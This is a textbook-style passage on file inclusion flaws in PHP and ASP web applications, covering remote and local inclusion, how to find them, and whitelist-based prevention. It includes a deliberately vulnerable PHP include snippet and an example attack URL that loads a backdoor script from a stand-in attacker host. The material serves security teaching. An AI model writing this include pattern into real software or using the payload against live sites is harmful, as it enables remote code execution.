File Inclusion Vulnerabilities
Many scripting languages support the use of include files. This facility enables developers to place reusable code components into individual files, and to include these within function-specific code files as and when they are needed. The code within the included file is interpreted just as if it had been inserted at the location of the include directive.
Remote File Inclusion
The PHP language is particularly susceptible to file inclusion vulnerabilities because its include function accepts a remote file path. This has been the basis of numerous vulnerabilities in PHP applications.
Consider an application that delivers different content to people in different locations. When users choose their location, this is communicated to the server via a request parameter, as follows:
https://wahh-app.com/main.php?Country=US
The application processes the Country parameter as follows:
$country = $_GET[‘Country’];
include( $country . ‘.php’ );
This causes the execution environment to load the file US.php that is located on the web server file system. The contents of this file are effectively copied into the main.php file, and executed.
An attacker can exploit this behavior in different ways, the most serious of which is to specify an external URL as the location of the include file. The PHP include function accepts this as input, and the execution environment will retrieve the specified file and execute its contents. Hence, an attacker can construct a malicious script containing arbitrarily complex content, host this on a web server he controls, and invoke it for execution via the vulnerable application function. For example:
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
Local File Inclusion
In some cases, include files are loaded on the basis of user-controllable data, but it is not possible to specify a URL to a file on an external server. For example, if user-controllable data is passed to the ASP function Server.Execute , then an attacker may be able to cause an arbitrary ASP script to be executed, provided that this script belongs to the same application as the one that is calling the function.
In this situation, you may still be able to exploit the application’s behavior to perform unauthorized actions:
■ There may be server-executable files on the server that you cannot access through the normal route — for example, any requests to the path /admin may be blocked through application-wide access controls. If you can cause sensitive functionality to be included into a page that you are authorized to access, then you may be able to gain access to that functionality.
■ There may be static resources on the server that are similarly protected from direct access. If you can cause these to be dynamically included into other application pages, then the execution environment will typically simply copy the contents of the static resource into its response.
Finding File Inclusion Vulnerabilities
File inclusion vulnerabilities may arise in relation to any item of user-supplied data. They are particularly common in request parameters that specify a language or location, and also often arise when the name of a server-side file is passed explicitly as a parameter.
Preventing Script Injection Vulnerabilities
In general, the best way to avoid script injection vulnerabilities is to not pass user-supplied input, or data derived from it, into any dynamic execution or include functions. If this is considered to be unavoidable for some reason, then the relevant input should be strictly validated to prevent any attack occurring. If possible, use a white list of known good values (such as a list of all the languages or locations supported by the application), and reject any input that does not appear on this list. Failing that, check the characters used within the input against a set known to be harmless, such as alphanumeric characters excluding whitespace.
NEXT is..Injecting into SOAP…………………….,,,,,,,,,,,,,,,,,,,,,
